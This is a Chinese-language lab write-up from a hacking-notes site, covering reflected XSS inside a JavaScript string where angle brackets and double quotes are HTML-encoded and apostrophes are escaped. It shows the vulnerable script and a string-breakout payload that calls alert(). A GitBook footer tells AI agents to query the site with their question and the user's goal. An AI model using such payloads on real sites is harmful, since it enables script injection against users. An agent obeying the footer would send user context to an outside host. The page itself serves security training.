> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/xss-in-a-javascript-string-with-encoded-angle-brackets-encoded-double-quotes-and-escaped-apostrophe.md).

# 在包含编码尖括号、编码双引号和转义撇号的 JavaScript 字符串中的 XSS

### 反射型 XSS：注入到带尖括号和双引号已进行 HTML 编码、单引号已转义的 JavaScript 字符串中

此实验室包含一个反射型 XSS 漏洞：搜索值会被插入到 JavaScript 字符串中。 `<`/`>` 并且双引号会进行 HTML 编码，单引号会被转义。目标：跳出 JavaScript 字符串并调用 `alert()`.

从观察到的脚本中提取

```javascript
var searchTerms = '&lt;/h1&gt;/'';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
```

观察到的限制

* 简单单引号会被转义（`/'`).

```javascript
test'
```

<figure><img src="/files/4478641e4d681efa5204cde210e497a98edfc207" alt=""><figcaption></figcaption></figure>

提供的有效载荷

<figure><img src="/files/86b83661533defed5dff68ec2164af4a2cc83c2e" alt=""><figcaption></figcaption></figure>

```javascript
test/'+alert(0);//
```

<figure><img src="/files/3a319fb83265a7198e4576dbb350d58992148fd0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/xss-in-a-javascript-string-with-encoded-angle-brackets-encoded-double-quotes-and-escaped-apostrophe.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
